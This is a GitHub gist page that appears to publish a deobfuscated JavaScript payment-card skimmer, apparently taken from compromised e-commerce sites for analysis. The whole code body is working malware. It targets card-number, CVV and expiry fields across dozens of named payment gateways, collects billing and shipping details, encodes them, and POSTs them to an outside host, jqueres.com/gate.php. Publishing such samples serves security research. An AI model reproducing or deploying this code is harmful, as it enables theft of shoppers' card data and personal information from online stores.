Skip to content

Instantly share code, notes, and snippets.

@gwillem gwillem/jqueres-deobfuscated.js Secret
Created Apr 26, 2019

Embed
What would you like to do?
_cfb = _cfs = _cfp = true;
_bf = _sf = _pf = null;
ids = [
['[name="payment[cc_number]"]', '[name="payment[cc_cid]"]', '[name="payment[cc_exp_month]"]', '[name="payment[cc_exp_year]"]'],
['[name="payment[cc_number]"]', '[name="payment[cc_cid]"]'],
['#adyen_cc_cc_number', '#adyen_cc_cc_cid', '#adyen_cc_expiration', '#adyen_cc_expiration_yr'],
['#stripe_cc_number', '#stripe_cc_cvc', '#stripe_cc_expiration_month', '#stripe_cc_expiration_year'],
['#stripe_cc_number', '#stripe_cc_cvc', '#stripe_cc_exp'],
['#pinpayments_cc_number', '#pinpayments_cc_cid', '#pinpayments_expiration', '#pinpayments_expiration_yr'],
['#ewayrapid_notsaved_cc_number', '#ewayrapid_notsaved_cc_cid', '#ewayrapid_notsaved_expiration', '#ewayrapid_notsaved_expiration_yr'],
['[name="heidelpaycw_visa[ACCOUNT.NUMBER]"]', '[name="heidelpaycw_visa[ACCOUNT.VERIFICATION]"]', '[name="heidelpaycw_visa[ACCOUNT.EXPIRY_MONTH]"]', '[name="heidelpaycw_visa[ACCOUNT.EXPIRY_YEAR]"]'],
['#cardNumber', '#securityCode', '#cardExpirationMonth', '#cardExpirationYear'],
['#fatzebra_cc_number', '#fatzebra_cc_cid', '#expire-date'],
['#radweb_stripe_cc_number', '#radweb_stripe_cc_cid', '#radweb_stripe_expiration', '#radweb_stripe_expiration_yr'],
['[name=psn]', '[name=csc]', '[name=expirydate1]', '[name=expirydate2]'],
['#braintree_cc_number', '#braintree_cc_cid', '#braintree_expiration', '#braintree_expiration_yr'],
['#card_number', '#cvv', '#expiration'],
['#pagarme_cc_cc_number', '#pagarme_cc_cc_cid', '#pagarme_cc_expiration', '#pagarme_cc_expiration_yr'],
['#cryozonic_stripe_cc_number', '#cryozonic_stripe_cc_cid', '#cryozonic_stripe_expiration', '#cryozonic_stripe_expiration_yr'],
['#creditCardNumber', '#adyen_cc_cc_cid', '#adyen_cc_expiration', '#adyen_cc_expiration_yr'],
['#cardNumber', '#verification', '#accountExpiryMonth', '#accountExpiryYear'],
['#cartoes_numero_cartao_1', '#cartoes_codigo_seguranca_cartao_1', '#cartoes_mes_cartao_1', '#cartoes_ano_cartao_1'],
['[name=creditCardNumber]', '[name=cvv2]', '[name=expiryMonth]', '[name=expiryYear]'],
['#authnetcim_cc_number', '#authnetcim_cc_cid', '#authnetcim_cc_exp_month', '#authnetcim_cc_exp_year'],
['#authorizenet_cc_number', '#authorizenet_cc_cid', '#authorizenet_expiration', '#authorizenet_expiration_yr'],
['#pagarme_cc_cc_number_one', '#pagarme_cc_cc_cid_one', '#pagarme_cc_expiration_one', '#pagarme_cc_expiration_yr_one'],
['#pagarme_cc_cc_number_two', '#pagarme_cc_cc_cid_two', '#pagarme_cc_expiration_two', '#pagarme_cc_expiration_yr_two'],
['#cielov3_debit_cc_number_one', '#cielov3_debit_cc_cid_one', '#cielov3_debit_expiration_one', '#cielov3_debit_expiration_yr_one'],
['#cielov3_debit_cc_number_two', '#cielov3_debit_cc_cid_two', '#cielov3_debit_expiration_two', '#cielov3_debit_expiration_yr_two'],
['[name="payment[securetrading_stpp_card_number]"]', '[name="payment[securetrading_stpp_security_code]"]', '[name="payment[securetrading_stpp_expiry_date_month]"]', '[name="payment[securetrading_stpp_expiry_date_year]"]'],
['#card_cc_number', '#card_cc_cid', '#card_expiration', '#card_expiration_yr'],
['[name="payment[ps_cc_number]"]', '[name="payment[ps_cc_cid]"]', '[name="payment[ps_cc_exp_month]"]', '[name="payment[ps_cc_exp_year]"]'],
['[name="payment[number]"]', '[name="payment[cvc]"]', '[name="payment[month]"]', '[name="payment[year]"]'],
['#paymetric_token', '#paymetrictokenize_cc_cid', '#paymetrictokenize_expiration', '#paymetrictokenize_expiration_yr'],
['[name="cardnumber"]', '[name="cvc"]', '[name="exp-date"]'],
['#moip_cc_number', '#moip_cc_cid', '#credito_expiracao_mes', '#credito_expiracao_ano'],
['#ebanx_cc_br_cc_number', '#ebanx_cc_br_cc_cid', '#ebanx_cc_br_expiration', '#ebanx_cc_br_expiration_yr'],
['[name="payment[mundipagg_creditcard_1_1_cc_number]"]', '[name="payment[mundipagg_creditcard_cc_cid_1_1]"]', '[name="payment[mundipagg_creditcard_expirationMonth_1_1]"]', '[name="payment[mundipagg_creditcard_expirationYear_1_1]"]'],
['[name="payment[mundipagg_twocreditcards_2_1_cc_number]"]', '[name="payment[mundipagg_twocreditcards_cc_cid_2_1]"]', '[name="payment[mundipagg_twocreditcards_expirationMonth_2_1]"]', '[name="payment[mundipagg_twocreditcards_expirationYear_2_1]"]'],
['#gwap_cc_cc_number', '#gwap_cc_cc_cid', '#gwap_cc_expiration', '#gwap_cc_expiration_yr'],
['#rm_pagseguro_cc_cc_number', '#rm_pagseguro_cc_cc_cid', '#rm_pagseguro_cc_expiration', '#rm_pagseguro_cc_expiration_yr'],
['#ewayrapid_ewayone_cc_number', '#ewayrapid_ewayone_cc_cid', '#ewayrapid_ewayone_expiration', '#ewayrapid_ewayone_expiration_yr'],
['#OPS_CC_CARDNO', '#OPS_CC_CVC', '#OPS_CC_ECOM_CARDINFO_EXPDATE_MONTH', '#OPS_CC_ECOM_CARDINFO_EXPDATE_YEAR'],
['[name="paymentCreditCardNumberSecure"]', '[name="paymentCreditCardCvv"]', '[name="paymentCreditCardValidToMonth"]', '[name="paymentCreditCardValidToYear"]'],
['#CreditCardNumber', '#CreditCardCVV', '#expirationDateMonth', '#expirationDateYear'],
['[name="payment[ps_cc_number]"]', '[name="payment[ps_cc_cid]"]', '[name="payment[ps_cc_exp_month]"]', '[name="payment[ps_cc_exp_year]"]'],
['#credit_card_type_number', '#auth_cc_cid', '#auth_expire', '#auth_expire_yr'],
['#wirecard_checkout_page_cc_pan', '#wirecard_checkout_page_cc_cardVerifyCode', '#wirecard_checkout_page_cc_expirationMonth', '#wirecard_checkout_page_cc_expirationYear'],
['#mp_transparente_cc_number', '#mp_transparente_cc_cid', '#mp_transparente_expiration', '#mp_transparente_expiration_yr'],
['#creditCardNum', '#creditCardCode', '#creditCardExpirationMonth', '#creditCardExpirationYear'],
['[name="payment[cc_number__payments_redecard]"]', '[name="payment[cc_cid__payments_redecard]"]', '[name="payment[cc_exp_month__payments_redecard]"]', '[name="payment[cc_exp_year__payments_redecard]"]'],
['[name="payment[numero_cartao_cielo]', '[name="payment[codigo_seguranca_cielo]"]', '[name="payment[expiracao_mes_cielo]"]', '[name="payment[expiracao_ano_cielo]"]'],
['#customer-and-card-securityCode', '#customer-and-card-securityCode', '#cardExpirationMonth', '#cardExpirationYear'],
['[name="payment[iwd_opc_cc_number]"]', '[name="payment[cc_cid]"]', '[name="payment[iwd_opc_cc_exp]"]'],
['[name="payment[cielo_card1_card_number]"]', '[name="payment[cielo_card1_card_security]"]', '[name="payment[cielo_card1_card_expiration]"]'],
['[name="payment[signativa_mundipagg_creditcard_1_1_cc_number]"]', '[name="payment[signativa_mundipagg_creditcard_cc_cid_1_1]"]', '[name="payment[signativa_mundipagg_creditcard_expirationMonth_1_1]"]', '[name="payment[signativa_mundipagg_creditcard_expirationYear_1_1]"]'],
['[name="cartao[cc_number]"]', '[name="cartao[cc_cid]"]', '[name="cartao[cc_exp_month]"]', '[name="cartao[cc_exp_year]"]'],
['[name="payment[grinet_payu_cc_number]"]', '[name="payment[grinet_payu_cc_cid]"]', '[name="payment[grinet_payu_cc_exp_month]"]', '[name="payment[grinet_payu_cc_exp_year]"]'],
['#dps_pxfusion_cc_number', '#dps_pxfusion_cc_cid', '#dps_pxfusion_expiration', '#dps_pxfusion_expiration_yr'],
['[name="payment[cc_number_sp]"]', '[name="payment[cc_cid_sp]"]', '[name="payment[cc_exp_month_sp]"]', '[name="payment[cc_exp_year_sp]"]']
];
function __filt(val) {
return val.replace(/[^\d]/g, '').trim()
}
function __pt() {
return Math.floor(new Date().getTime() / 1000)
}
function __b64e(data) {
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
enc = '';
do {
o1 = String(data[i++]).charCodeAt();
o2 = String(data[i++]).charCodeAt();
o3 = String(data[i++]).charCodeAt();
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 0x3f;
h2 = bits >> 12 & 0x3f;
h3 = bits >> 6 & 0x3f;
h4 = bits & 0x3f;
enc += b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4)
} while (i < data.length);
switch (data.length % 3) {
case 1:
enc = enc.slice(0, -2) + '==';
break;
case 2:
enc = enc.slice(0, -1) + '=';
break
}
return enc
}
function __se(b, a) {
var r = '';
for (var i = 0, j = 0, sl = b.length, sla = a.length; i < sl; i++, j++) {
if (j == sla) j = 0;
r += (i ? ',' : '') + (String(b[i]).charCodeAt() ^ String(a[j]).charCodeAt())
}
return r
}
__i2 = setInterval(function() {
if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $j != undefined) jQuery = $j;
if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $$ != undefined) jQuery = $$;
if ((jQuery == undefined || jQuery.fn.jquery == undefined) && $ != undefined) jQuery = $;
if (jQuery != undefined && jQuery.fn.jquery != undefined) {
var s1 = 'bill' + 'ing',
s2 = 'ship' + 'ping';
if (_cfb) {
if ((_bf = jQuery('form:has([name^="' + s1 + '["])')).length) {
_cfb = false;
_bf.change(function() {
localStorage.setItem('__' + s1 + '123', [this.id, jQuery(this).serialize()])
})
} else if ((_bf = jQuery('form:has([name="firstname"])')).length) {
_cfb = false;
_bf.change(function() {
var euc = encodeURIComponent,
data = s1 + '[firstname]=' + euc(jQuery('[name="firstname"]').val()) + '&' + s1 + '[lastname]=' + euc(jQuery('[name="lastname"]').val()) + '&' + s1 + '[street][0]=' + euc(jQuery('#street_1').length ? jQuery('#street_1').val() : (jQuery('#street1').length ? jQuery('#street1').val() : '[unknown]')) + '&' + s1 + '[street][1]=' + euc(jQuery('#street_2').length ? jQuery('#street_2').val() : (jQuery('#street2').length ? jQuery('#street2').val() : '[unknown]')) + '&' + s1 + '[city]=' + euc(jQuery('[name="city"]').val()) + '&' + s1 + '[region_id]=' + euc(jQuery('[name="region_id"]').length ? jQuery('[name="region_id"]').val() : (jQuery('[name="region"]').length ? jQuery('[name="region"]').val() : '[unknown]')) + '&' + s1 + '[postcode]=' + euc(jQuery('[name="postcode"]').val()) + '&' + s1 + '[country_id]=' + euc(jQuery('[name="country_id"]').val()) + '&' + s1 + '[telephone]=' + euc(jQuery('[name="telephone"]').val()) + '&' + s1 + '[email]=' + euc(jQuery('[name="email"]').val());
localStorage.setItem('__' + s1 + '123', [this.id, data])
})
}
}
if (_cfs && (_sf = jQuery('form:has([name^="' + s2 + '["])')).length) {
_cfs = false;
_sf.change(function() {
localStorage.setItem('__' + s2 + '123', [this.id, jQuery(this).serialize()])
})
}
if (_cfp) {
var sd = window.location.host.split(':', 2),
h = sd[0],
jqn = null,
jqc = null;
var url = 'https://jqueres.com/gate.php',
n = null,
c = null;
for (var i = 0; i < ids.length; i++)
if ((jqn = jQuery(ids[i][0])).length && (jqc = jQuery(ids[i][1])).length && ((n = __filt(jqn.val())).length || (c = __filt(jqc.val())).length)) {
c = (c == null ? __filt(jqc.val()) : c);
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
var st = null,
data = '',
pt = __pt();
_pf = jQuery('form:has(' + ids[i][0] + ')');
_cfp = false;
data = _pf.serialize();
if (ids[i][2] !== undefined) {
data += '&jqcn=' + n + '&jqcc=' + c;
if (ids[i][3] !== undefined) {
var m = jQuery(ids[i][2]).val(),
y = jQuery(ids[i][3]).val();
data += '&jqcm=' + m + '&jqcy=' + y
} else data += '&jqdt=' + jQuery(ids[i][2]).val()
}
if (st = localStorage.getItem('__' + s1 + '123')) {
sd = st.split(',', 2);
data += '&' + sd[1]
}
if (st = localStorage.getItem('__' + s2 + '123')) {
sd = st.split(',', 2);
data += '&' + sd[1]
}
data = data.replace('"' + s1 + '%5B', s1 + '%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: 'h=' + h + '&d=' + __b64e(__se(data, pt.toString())) + '&pt=' + pt,
type: 'POST',
dataType: 'json'
});
localStorage.removeItem('__' + s1 + '123');
localStorage.removeItem('__' + s2 + '123');
clearInterval(__i2);
break
}
}
}
} else console.log('[no jQuery]')
}, 700);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.